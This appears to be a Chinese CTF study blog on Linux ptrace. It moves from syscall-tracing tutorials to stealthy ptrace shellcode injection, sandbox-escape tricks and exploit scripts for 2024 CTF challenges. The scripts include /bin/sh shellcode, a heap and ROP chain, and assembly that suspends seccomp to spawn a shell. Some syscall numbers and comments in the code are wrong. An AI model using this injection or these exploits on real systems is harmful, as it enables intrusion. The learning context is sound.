16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX

WIFEXITED宏可以检测接收到的型号是否标志着子进程退出,其宏定义为。

1
2
3
4
5
# in sys/wait.h
# define WIFEXITED(status) __WIFEXITED (__WAIT_INT (status))

# in bits/waitstatus.h
#define __WIFEXITED(status) (__WTERMSIG(status) == 0)

也就是说,如果接收到的信号编号为0,就意味着子进程退出。


子进程什么时候会向父进程发送信号?

目前情况是syscall的时候会向父进程发一次


1.6.3.3.2 PTRACE_SYSCALL与while循环

照搬上面的解释

形式:ptrace(PTRACE_SYS, pid, 0, signal)
描述:继续执行。pid表示被跟踪的子进程,signal为0则忽略引起调试进程中止的信号,若不为0则继续处理信号signal。与PTRACE_CONT不同的是进行系统调用跟踪。在被跟踪进程继续运行直到调用系统调用开始或结束时,被跟踪进程被中止,并通知父进程。

PTRACE_SYSCALL与PTRACE_CONT有如下的关系

PTRACE_CONT功能类似,使子进程继续执行,其最后一个参数也和PTRACE_CONT一样,表示是否发送相应信号给子进程。

发生systemcall相关的事件(包括systemcall开始和systemcall结束)时子进程需要通知父进程。要注意的是每次子进程被暂停后都需要重新调用PTRACE_SYSCALL以便下一次的system call事件会被捕抓到。

根据PTRACE_SYSCALL的功能描述,我们通过一个while循环体来接收子进程每一次system call发出的信号,并在处理完成后再次通过PTRACE_SYSCALL来捕获下一次system call的信号,并当子进程退出时结束循环。


1.6.3.3.3 运行结果解析

运行结果打印出来的都是三个东西

Origen signal 1407 !Got signal 5

Program called system call: 59

其中上面的1407和5也就是signal信号都是全部一致的

一开始就出现了59号的系统调用,这是因为调用了execve

之后则是12/158/9/21/257/3/0/262/10/17/218/137/318/202/191/41……

除了一开始的59,其他的系统调用都是重复出现的。这是因为PTRACE_SYSCALL会让子进程在每次系统调用进入和退出的时候都发出信号。

父进程wait系统调用每次接收到的信号都是5)SIGTRAP


1.6.3.4 Traced状态——进阶例子

1.6.3.4.1 过滤execve的框架

往往tracee进程都会通过ptrace+execve的方式将自身转变为一个处于中止状态的进程,而tracer进程往往会通过wait系统调用来接收由tracee进程发出的SIGTRAP信号。因此在这种场景下,第一个信号一定是对应execve这个系统调用的,而并不是我们想要追踪的进程的系统调用,因此我们忽略这个信号。

所以下面的代码有一个空的死循环,我们还没写进去code,我们先在死循环接受第一个信号execve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <stdio.h>
#include <sys/wait.h>

int main(int argc, char **argv){
pid_t child = fork();
int status = 0;
long orig_rax = 0;
if (child == 0){
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", "-l", "-h", NULL);
} else {

wait(&status);
ptrace(PTRACE_SYSCALL, child, NULL, NULL);

while(1){
// code block
}
}
return 0;
}

接着是ptrace的系统调用,通过PTRACE_SYSCALL选项通知tracee进程的所有系统调用的信号给父进程然后再进入循环体。前面我们提到过tracee进程发送的有关系统调用的信号是成对出现的。其中有一个系统调用号1,也就是sys-write值得我们关注。我们可以看到write系统调用是打印出ls的结果的关键。

1
2
3
4
5
Origen signal 1407 !Got signal 5
Program called system call: 1
-rwx--x--x 1 qwq qwq 17K 718 17:27 vuln
Origen signal 1407 !Got signal 5
Program called system call: 1

我们结合控制台输出来解释下程序当时的行为:

1
2
3
Program called system call: 1:程序开始调用write系统调用,准备向控制台写入数据;
-rw-r--r-- 1 root root 1.9K 828 17:00 monitor_signal.c:程序写入数据;
Program called system call: 1:程序退出write系统调用。
1.6.3.4.2 优化代码

所以我们也可以充分利用PTRACE_SYSCALL的特性,将程序开始进行系统调用和结束系统调用的相关信息打印出来?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/reg.h>

int main(void)
{
long orig_rax;
pid_t child=fork();
int status=0;
long rax=0;
int insyscall=0;
long params[3];
if(child==0)
{
ptrace(PTRACE_TRACEME,0,NULL,NULL);
execl("/bin/ls","ls","-l","-h",NULL);
}
else{
wait(&status);
ptrace(PTRACE_SYSCALL,child,NULL,NULL);
while(1){
wait(&status);
if(WIFEXITED(status)) break;

orig_rax=ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL);
if(orig_rax != SYS_write){
ptrace(PTRACE_SYSCALL,child,NULL,NULL);
continue;
}

printf("Got signal %d\n",WSTOPSIG(status));
/*Syscall entry*/
if(insyscall==0)
{
insyscall=1;
params[0]=ptrace(PTRACE_PEEKUSER,child,8*RDI,NULL);
params[1]=ptrace(PTRACE_PEEKUSER,child,8*RSI,NULL);
params[2]=ptrace(PTRACE_PEEKUSER,child,8*RDX,NULL);
printf("write called with %ld,%ld,%ld\n",params[0],params[1],params[2]);

}
else{
params[0]=ptrace(PTRACE_PEEKUSER,child,8*RAX,NULL);
printf("Write returned with %ld\n",rax);
insyscall=0;
}
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
}
}
return 0;
}

相比之前的代码,这份代码有两部分的优化,第一个过滤掉除write的系统调用,第二个显示write系统调用的参数和返回值。

只捕抓write系统调用的实现:过滤掉第一个execve的系统调用之后,再次等待子进程的信号,syscall会向父进程发送信号,可以用PEEKUSER获取的rax值(其作为系统调用号)。

分别处理系统调用的进入和退出:系统调用是成对出现的。因此捕抓到write系统调用的时候,我们通过一个insyscall变量来表示这个系统调用是“进入”状态还是“退出”状态。

显示write系统调用入参情况:我们可以从ORIG_RAX这个寄存器中获取系统调用号,通过同样的方式,我们可以通过RDIRSIRDX寄存器分别获取系统调用的第1、2、3个参数。

实际上,Linux为64位机器提供了6个保存参数的寄存器,按照顺序他们分别是:RDI、RSI、RDX、RCX、R8和R9。

显示write系统调用返回值:当insyscall变量为1时,说明程序已经进入系统调用,接下来的一次系统调用行为就是退出系统调用。这时,我们通过获取RAX寄存器中的值,可以获取系统调用的返回值。

ORIG_RAX寄存器保存系统调用号,RAX寄存器保存系统调用返回值。

1.6.3.4.3 为什么子进程信号一直是5)SIGTRAP

在入门版本的输出中,输出的Got signal内容一直都是5这个信号,也就是SIGTRAP

这个型号只能告诉tracer进程:tracee进程现在处于中止状态,等待tracer进程对其进行控制,而并不能告诉tracer进程到底是什么原因导致tracee进程进入中止状态的。

ptrace系统调用我们提供了判别方式:通过PTRACE_SETOPTIONS操作传递PTRACE_0_TRACESYSGOOD给tracee进程,从而让tracee进程发送给tracer进程的信号编号(signal code)由5也就是SIGTRAP 编程5|0x80,也就是133.

如果返回值是133,那么其就属于系统调用发出的信号。

0x80是操作系统规定属于系统调用的中断号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/reg.h>

int main(void)
{
pid_t child=fork();
long orig_rax=0;
int status=0;
long rax=0;
int insyscall=0;
long params[3];
if(child==0)
{
ptrace(PTRACE_TRACEME,0,NULL,NULL);
execl("/bin/ls","ls","-l","-h",NULL);
}
else{
wait(&status);
ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);
ptrace(PTRACE_SYSCALL,child,NULL,NULL);
//puts("test");

while(1){
wait(&status);
//puts("test");
if(WIFEXITED(status)) break;


if (! (WSTOPSIG(status) & 0x80))
{
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
continue;
}

orig_rax=ptrace(PTRACE_PEEKUSER,child,8*ORIG_RAX,NULL);

if(orig_rax != 1){
ptrace(PTRACE_SYSCALL,child,NULL,NULL);
continue;
}

printf("Got signal %d\n",WSTOPSIG(status));
/*Syscall entry*/
if(insyscall==0)
{
insyscall=1;
params[0]=ptrace(PTRACE_PEEKUSER,child,8*RDI,NULL);
params[1]=ptrace(PTRACE_PEEKUSER,child,8*RSI,NULL);
params[2]=ptrace(PTRACE_PEEKUSER,child,8*RDX,NULL);
printf("write called with %ld,%ld,%ld\n",params[0],params[1],params[2]);

}
else{
rax=ptrace(PTRACE_PEEKUSER,child,8*RAX,NULL);
printf("Write returned with %ld\n",rax);
insyscall=0;
}
ptrace(PTRACE_SYSCALL, child, NULL, NULL);
}
}
return 0;
}

输出结果,这里只放出一部分代码

1
2
3
4
5
6
7
8
9
10
Got signal 133
write called with 1,95611630020928,10
total 64K
Got signal 133
Write returned with 10
Got signal 133
write called with 1,95611630020928,46
drwxrwxr-x 4 qwq qwq 4.0K 31 2024 buu
Got signal 133
Write returned with 46

1.7 进程栈与进程堆 线程栈和线程堆

前面我们提到了进程的四要素

  1. 要执行的程序
  2. 专用的系统堆栈空间(代码段数据段等)
  3. task_struct和pid
  4. 独立的存储空间

缺少第四条的称为线程,如果完全没有用户空间称为内核线程,共享用户空间的称为用户线

接下来我们来了解进程栈和线程栈


进程栈程序被操作系统加载并执行时,会为其分配一块内存作为进程的地址空间,这其中包括进程栈。进程栈存储所有线程共享的全局变量之外等等数据。比如局部变量,函数参数和返回地址。每个进程是独立的,所以进程栈也是相互独立的。

线程栈:每个线程共享所属进程的地址空间,但是有自己的线程栈。线程栈同样存储局部变量,函数参数和返回地址。它们是线程私有的,每个线程的栈空间互不影响。

进程栈服务于整个进程,而线程栈服务于进程内的每一个线程。

0X2 ptrace的shellcode注入

2.1 相关原理

参考:一种Linux下ptrace隐藏注入shellcode技术和防御方法 - FreeBuf网络安全行业门户

不同版本操作系统有各自实现ptrace系统调用的方式,由于本文只关注Linux环境。我们通常用ptrace提供的系统调用 通过一个进程去控制另一个进程,这常被用于程序调试、分析和监测工具,例如gdb和strace等。

控制进程tracer和被控制进程tracee

一个tracee只能关联(attach)一个tracer,一个tracer可以关联多个tracee,实际上linux下tracee只是一个线程,一个包含多个线程的进程中每个线程可以单独关联各自的tracer。

如果tracer要控制tracee可以进行下图的对应操作。

img

  1. tracer调用PTRACE_ATTACH功能关联指定的tracee,向tracee发送SIGSTOP信号,并调用waitpid等待tracee状态改变;
  2. 当tracee状态变成STOP,waitpid返回;
  3. tracer调用PTRACE_SYSCALL功能让tracee进入单步执行状态,并调用waitpid等待tracee状态改变;
  4. 重复步骤2)和步骤3);
  5. tracer调用PTRACE_DETACH功能让tracee恢复运行,并解除关联。

步骤3)中tracer可以检查和修改tracee的内存和寄存器内容,给渗透攻击注入shellcode提供了可能,接下来描述利用ptrace隐藏注入shellcode的技术细节。

2.2 技术解析

达成隐藏注入shellcode的目标需要解决三个问题:

  1. shellcode存放在哪里?
  2. 如何执行shellcode?
  3. 如何不被轻易发现正在运行的shellcode?

2.2.1 shellcode存放在哪里

shellcode存放涉及到读取和写入的问题,而且存放的段还要有可执行权限(即具有rwxp权限的段),所以一般存放在mmap分配出来的内存。

所以要实现shellcode存放,父进程函数执行流得如下

1
2
3
4
ptrace(PTRACE_ATTACH,tracee_pid,NULL,NULL);
waitpid(tracee_pid,0,0);
mem_addr=remote_mmap(tracee_pid,NULL,4096,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANON,-1,0);
poke_text(tracee_pid,(size_t)mem_addr,shellcode,SHELL_LEN);

如何在子进程的内存中写入shellcode?自己的猜想

第一 子进程和父进程共享内存,那么我们可以在父进程先写入shellcode

第二 不共享内存,则有没有修改子进程内存的函数或者文件?

文件的话/proc/pid/mem可以修改内存

2.2.2 如何执行shellcode

我们控制的是父进程的函数执行流,对于子进程我们需要通过父进程修改rip寄存器来达到修改shellcode的效果。伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//读取tracee寄存器并备份
//reg是struct user_regs_struct类型变量,上面有提到过
ptrace(PTRACE_GETREGS,tracee_pid,NULL,&reg);
memcpy(&old_regs,&regs,sizeof(struct user_regs_struct));
//修改rip为mem_addr (shellcode的地址)
regs.rip = (u_int64_t) mem_addr;
regs.rip += 2;//+=2的意义何在?
//设置tracee寄存器
ptrace(PTRACE_SETREGS, tracee_pid, NULL, &regs)
//执行shellcode,假设shellcode结尾执行了getpid系统调用,就是用它结尾的意思
for (;;) {
ptrace(PTRACE_SYSCALL, tracee_pid, NULL, NULL)
waitpid(tracee_pid, 0, 0)
ptrace(PTRACE_GETREGS, tracee_pid, 0, &regs)
if (regs.orig_rax == 39) {
// 已执行getpid系统调用,恢复tracee状态
ptrace(PTRACE_SETREGS, tracee_pid, NULL, &old_regs)
break
}
}
// 恢复tracee运行
ptrace(PTRACE_DETACH, tracee_pid, NULL, NULL)

但是上述代码只是在tracee进程(线程)中执行了一次shellcode,还达不到隐藏注入的目的。

2.2.3 隐藏shellcode执行

一个简单的解决方法是在tracee所在进程中新建一个线程,在新建的线程中执行shellcode,并在shellcode中加入可以持续运行的循环。(如何理解?)

这时,通过监测进程状态难以发现注入的shellcode;如果tracee所在进程原来就包含多个线程,通过监测线程状态也难以准确判断是否被注入了shellcode;虽然检查tracee进程的内存段可以找到具有执行权限的匿名内存段,但是有些进程本来就存在具有执行权限的匿名内存段,仍然不能准确判断是否存在shellcode。综上所述,这种新建线程中执行shellcode的方式能够解决第三个问题:如何不被轻易发现正在运行的shellcode。伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
// 设置新建线程的栈
stack_addr = remote_mmap(tracee_pid, NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0)
stack_top = stack_addr + 4096
poke_text(tracee_pid, (size_t)stack_addr, (char *)&mem_addr, sizeof(void *))
// 修改系统调用为SYS_clone并单步执行,新建线程以后恢复执行原有代码
thread_pid = remote_clone(pid, CLONE_PTRACE | CLONE_SIGHAND | CLONE_THREAD | CLONE_VM | CLONE_FS | CLONE_FILES, stack_top)
// 在新建的线程中执行shellcode
ptrace(PTRACE_GETREGS, thread_pid, NULL, &regs)
regs.rip = (u_int64_t) mem_addr;
ptrace(PTRACE_SETREGS, thread_pid, NULL, &regs)
ptrace(PTRACE_DETACH, thread_pid, NULL, NULL)

2.3 对应的防御措施

Linux内核使用图4描述的算法检查调用者(caller)相对目标(target)的ptrace访问权限。首先检查调用者和目标是否在同一个线程组,是则允许(allowed)使用ptrace功能;接着根据调用者和目标的用户编号(uid)和组编号(gid)是否一致、目标是否有可转存(dumpable)属性、调用方是否具有CAP_SYS_PTRACE权限,判定是否拒绝(denied)使用ptrace功能;然后调用Linux安全模块(LSM),例如:SELinux、Yama、Smack等,不同的安全模块有各自的检查判定规则;最后如果之前的检查没有拒绝使用ptrace功能,则允许使用。

img

2.4 能够进行的绕过

参考:Linux Sandbox - Ptrace - B3ale (qianfei11.github.io)

2.4.1 Escape by fork

  • 只要 ptrace 没有跟踪好 fork、vfork、clone,子进程就不会被 ptrace 跟踪;

  • 正确的做法是要继续跟好子进程,或者直接禁止 fork。

    • 可以设置 PTRACE_O_TRACECLONE 选项,会自动跟踪 clone 出来的新进程。

2.4.2 Escape by Kill

  • 杀死父进程;

    • kill(getppid(), 9);
    • ppid 无法获取时可以尝试 pid-1;
    • /proc/self/stat 中可以拿到 pid 和 ppid;
    • kill(-1, 9); 杀死除了自己以外的所有进程。
  • 设置 PTRACE_O_EXITKILL 可以让 Tracer 结束时把所有的 Tracee 杀死。

碎碎念

fork ptrace wait函数这些进程相关的函数

这里考点比较零碎,主要考基础知识,基础知识得自己去查去学

如fork爆破canary等

wait等的是ptrace的状态,所以我们可以用空的ptrace调用绕过wait的状态检查

例题就是2024nepctf

2024nepctf NepBOX

自制沙盒,好像考点也不难。

主要是看沙盒给了什么函数,从上面的函数下手就可以了。

后面想到wait出来的参数是根据ptrace来的,只要我提前ptrace一个空进程,就能绕过很多东西wait状态的检查,只能说学到了很多进程的东西。

然后虽然说没有read函数的功能,但是题目给出了一个打印read函数参数的功能,就利用这个功能区leak。

要注意rsi为rsp才能leak上面的内容,因为指针的关系,这里%p只是打印寄存器的值,然而pop rsi,自然打印出来rsp上面的值.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
context(log_level='debug',arch='amd64')
#p=process('./pwn')
p=remote('neptune-49685.nepctf.lemonprefect.cn',443, ssl=True, sni=True, typ="tcp")

opennat=asm("""
mov r15,rdx
mov rax,101
syscall
mov rdi,0x67616c662f2e
push rdi
mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall
mov rax,0
mov rdi,3
mov rsi,r15
mov rdx,0x100
syscall
xor rdi,rdi
mov rax,101
syscall
mov rax,0
mov rdi,0
mov rsp,r15
pop rsi
mov rdx,0x100
syscall
mov rax,0
pop rsi
syscall
mov rax,0
pop rsi
syscall
mov rax,0
pop rsi
syscall
mov rax,0
pop rsi
syscall
mov rax,0
pop rsi
syscall



""")

short_shellcode="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
shellcodeQWQ=[shellcode1,shellcode2,shellcode3]
#gdb.attach(p,"b *(rebase +0x1a14)")
p.recvuntil("do what you feel is right!")
p.send(opennat)
#

p.interactive()

然后打印出来的东西就是flag的大端小端反写,之后就是找工具转译了。

img

2024 YCB hard-seccomp

参考:Seccomp BPF (基于过滤器的安全计算) — The Linux Kernel documentation

参考:[羊城杯 2024 pwn writeup (qanux.github.io)](https://qanux.github.io/2024/08/28/羊城杯 2024 pwn writeup/index.html)

参考:PTRACE - Linux手册页-之路教程 (onitroad.com)

题目是一个简单堆题,这里house of cat进行了控制程序流,到我们可以写入shellcode到执行shellcode的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import *
context(log_level="debug",arch="amd64")
p=process("./pwn")
#p=remote("49.234.30.109",9999)

def cmd(i):
p.sendlineafter(">",str(i))

def add(idx,size):
cmd(1)
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Size: ",str(size))

def free(idx):
cmd(2)
p.sendlineafter("Index: ",str(idx))

def edit(idx,con):
cmd(3)
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Content: ",con)


def show(idx):
cmd(4)
p.sendlineafter("Index: ",str(idx))

libcversion="235"
add(0,0x510)
add(1,0x530)
add(2,0x510)
free(0)
free(1)
add(0,0x520)
add(3,0x520)#old1
show(0)
libc_addr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))


free(0)
add(4,0x530)
free(2)
add(5,0x530)
show(0)
heap_addr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
print("heap_addr",hex(heap_addr))
heapbase=heap_addr-0xcf0
print("libc_addr",hex(libc_addr))
if libcversion=="236":
main_arena=libc_addr-1504
_IO_list_all=main_arena+0xA00
libcbase=_IO_list_all-0x000001f7660
_IO_list_all=libcbase+0x01f7660
openat2=libcbase+0x00010cb50
read=libcbase+0x010cce0
write=libcbase+0x0010cd80
IO_wfile_jumps=libcbase+0x001f30a0
setcontext=libcbase+0x041c00
pop_rdi=libcbase+0x0023b65
pop_rsi=libcbase+0x251be
pop_rdx=libcbase+0x166262
pop_rdx_rcx_rbx=libcbase+0x00101353
pop_rbp=libcbase+0x023a60
fd=libcbase+0x21B110
mprotect=libcbase+0x000116e60

else:
main_arena=libc_addr-1504
_IO_list_all=main_arena+0xa00
libcbase=_IO_list_all-0x021b680
_open=libcbase+0x001144e0
openat2=libcbase+0x00000114640
_write=libcbase+0x0114870
_read=libcbase+0x0001147d0
_IO_wfile_overflow =libcbase+0X0000086390
IO_wfile_jumps=libcbase+0x0000000002170c0
setcontext =libcbase+0x0000000539e0
pop_rdi=libcbase+0x02a3e5
pop_rsi=libcbase+0x171a12
pop_rdx_rcx_rbx=libcbase+0X108b03
pop_rdx_r12=libcbase+0x011f2e7
sendmsg=libcbase+0x00000127950
recvmsg=libcbase+0x00001277e0
mprotect=libcbase+0x0011eaa0
fd=libcbase+0x21B110
pop_rsp_rbp=libcbase+0x0133b30
pop_rbp=libcbase+0x0002a2e0


#gdb.attach(p)
add(2,0x510)

new_addr=heapbase+0x1210
heapaddr=heapbase+0x290
edit(0,p64(fd)*2+p64(heap_addr)+p64(_IO_list_all-0x20))
free(2)#2
add(6,0x530)
iu=asm("""

push 425
pop rax
syscall


""")




stack_heap=heapbase+0x2000+0x650
fake_io_addr=heapbase+0xcf0 # 伪造的fake_IO结构体的地址
next_chain = 0
fake_IO_FILE=p64(0x0)#这个并不是_flag也不是rdi #_flags=rdi
fake_IO_FILE+=p64(0)*5
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0x100)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext+61)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10, b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x400) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10, b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr
fake_IO_FILE+=b"./flag\x00\x00"
qwq=b'\x00'*0x68+p64(fake_io_addr+0xF8)+p64(fake_io_addr+0x200)+p64(fake_io_addr+0x200)
qwq+=p64(fake_io_addr+0x200)+p64(pop_rdi)
qwq=qwq.ljust(0xa0,b'\x00')
qwq+=p64(0xdeadbeef)+p64(0xdeadbeef)+b'\x00'*0x28
ROP=p64(pop_rdi)+p64(heapbase+0x1000)+p64(pop_rsi)+p64(0x2000)+p64(pop_rdx_rcx_rbx)+p64(7)+p64(0)+p64(0)+p64(mprotect)+p64(pop_rbp)+p64(stack_heap+0x488)+p64(new_addr+0x10)#
qwq+=ROP
fake_IO_FILE+=qwq
#gdb.attach()
edit(2,fake_IO_FILE)
#gdb.attach(p,"b _IO_switch_to_wget_mode")
edit(4,shellcode)
add(7,0x900)
cmd(5)

print("libc_addr",hex(libc_addr))
print("libcbase:",hex(libcbase))
print("heapbase:",hex(heapbase))



p.interactive()

程序的沙盒状态如下

img

一开始本来想用openat2,但是因为Linux内核5.6才有openat2的引入,远程发现是5.4的版本左右,所以是不支持openat2的。

不清楚本地的flag是否在当前目录下,../ / ../../目录我都找过,但是无济于事

所以只能另辟蹊径,一开始聚焦于io_uring的利用,但是本人没有仔细研究,所以抄了几家shellcode也就放弃了,听Qanux师傅说本地能通,但是远程不能通。回到沙盒状态,我们注意到被禁用的系统调用并不是直接kill,而是一个TRACE,这意味着如果我们可能追踪回这个进程并加以利用。

如何做?

我们需要用ptrace系统调用(系统调用号:101)去追回,下面是我们暂停seccomp所需要的request和对应的选项

PTRACE_SETOPTIONS(since Linux 2.4.6; see BUGS for caveats)

PTRACE_O_SUSPEND_SECCOMP(since Linux 4.3)选项

暂停tracee的seccomp保护。这适用于任何模式,并且可以在示踪尚未安装seccomp筛选器时使用。也就是说,一个有效的用例是在被跟踪安装之前,暂停被跟踪的seccomp保护,让被跟踪安装过滤器,然后在恢复过滤器时清除此标志。设置此选项要求跟踪器具有CAP_SYS_ADMIN功能,未安装任何seccomp保护,并且自身未设置PTRACE_O_SUSPEND_SECCOMP。

那我们的代码执行流程就有了,首先fork一个子进程,我们尝试在子进程中执行execve的代码

然后父进程wait等待子进程返回信号,如果返回信号应该是子进程的TRACEME选项起作用了,下一句就是execve的代码。父进程此时attach过去接管子进程,然后顺便把子进程的沙盒关了,那么我们此时的子进程就会执行execve不受阻拦并替代为对应的shell。

shellcode v.1

1
2
3
4
5
6
7
8
9
10
11
12
pid = fork()
if (!pid)
{//子进程
ptrace(PTRACE_TRACEME,0,0,0);
execve("/bin/sh\x00",0,0);
}else{
//父进程
waitpid(pid,0,0);
ptrace(PTRACE_ATTACH,pid,0,0)
ptrace(PTRACE_O_SUSPEND_SECCOMP,pid,0,0)
ptrace(PTRACE_CONT,pid,0,0)
}

下面是AI根据我们伪代码写的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
_start:
; fork() system call
mov rax, 57 ; syscall number for fork()
syscall
test rax, rax ; check if the result is 0
mov r15,rax
jz child_process ; jump to child process code if result is 0

parent_process:
; waitpid() system call
mov rax, 7 ; syscall number for waitpid()
mov rdi, r15 ; pid (use the pid from fork)
xor rsi, rsi ; options
xor rdx, rdx ; status
syscall

; ptrace(PTRACE_ATTACH, pid, 0, 0)
mov rax, 257 ; syscall number for ptrace()
mov rdi, 16 ; request type PTRACE_ATTACH
mov rsi, r15 ; pid
xor rdx, rdx ; address
xor r10, r10 ; data
syscall

; ptrace(PTRACE_O_SUSPEND_SECCOMP, pid, 0, 0)
mov rax, 257 ; syscall number for ptrace()
mov rdi, 0x42000003 ; request type PTRACE_O_SUSPEND_SECCOMP
mov rsi, r15 ; pid
xor rdx, rdx ; address
xor r10, r10 ; data
syscall

; ptrace(PTRACE_COUT, pid, 0, 0)
mov rax, 257 ; syscall number for ptrace()
mov rdi, 0x7; request type PTRACE_O_SUSPEND_SECCOMP
mov rsi, r15 ; pid
xor rdx, rdx ; address
xor r10, r10 ; data
syscall

; Exit
mov rax, 60 ; syscall number for exit()
xor rdi, rdi ; status
syscall

child_process:
; ptrace(TRACE_ME, 0, 0, 0)
mov rax, 257 ; syscall number for ptrace()
mov rdi, 0 ; request type TRACE_ME
xor rsi, rsi ; pid
xor rdx, rdx ; address
xor r10, r10 ; data
syscall

; execve("/bin/sh", NULL, NULL)
mov rax, 59 ; syscall number for execve()
push 0 ; NULL for envp
push 0 ; NULL for argv
mov rbx, 0x68732f6e69622f ; "/bin//sh" in reverse
push rbx ; push the address of "/bin//sh" onto the stack
mov rdi, rsp ; pointer to the argument array
syscall

; Exit if execve fails
mov rax, 60 ; syscall number for exit()
xor rdi, rdi ; status
syscall

去注释版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
    mov rax, 57
syscall
test rax, rax
mov r15, rax
jz child_process

parent_process:
mov rax, 7
mov rdi, r15
xor rsi, rsi
xor rdx, rdx
syscall

mov rax, 257
mov rdi, 16
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 257
mov rdi, 0x42000003
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 257
mov rdi, 0x7
mov rsi, r15
xor rdx, rdx
xor r10, r10
syscall

mov rax, 60
xor rdi, rdi
syscall

child_process:
mov rax, 257
mov rdi, 0
xor rsi, rsi
xor rdx, rdx
xor r10, r10
syscall

mov rax, 59
push 0
push 0
mov rbx, 0x68732f6e69622f
push rbx
mov rdi, rsp
xor rsi,rsi
xor rdx,rdx
syscall

mov rax, 60
xor rdi, rdi
syscall

如果只是这样shellcode没有达到想要的结果img

因为我们的TRACEME和ATTCH实际上取得的是同一个效果,我看Qanux爷的exp,它让子进程sleep了一段时间,我们据此进行改进

shellcode v.2

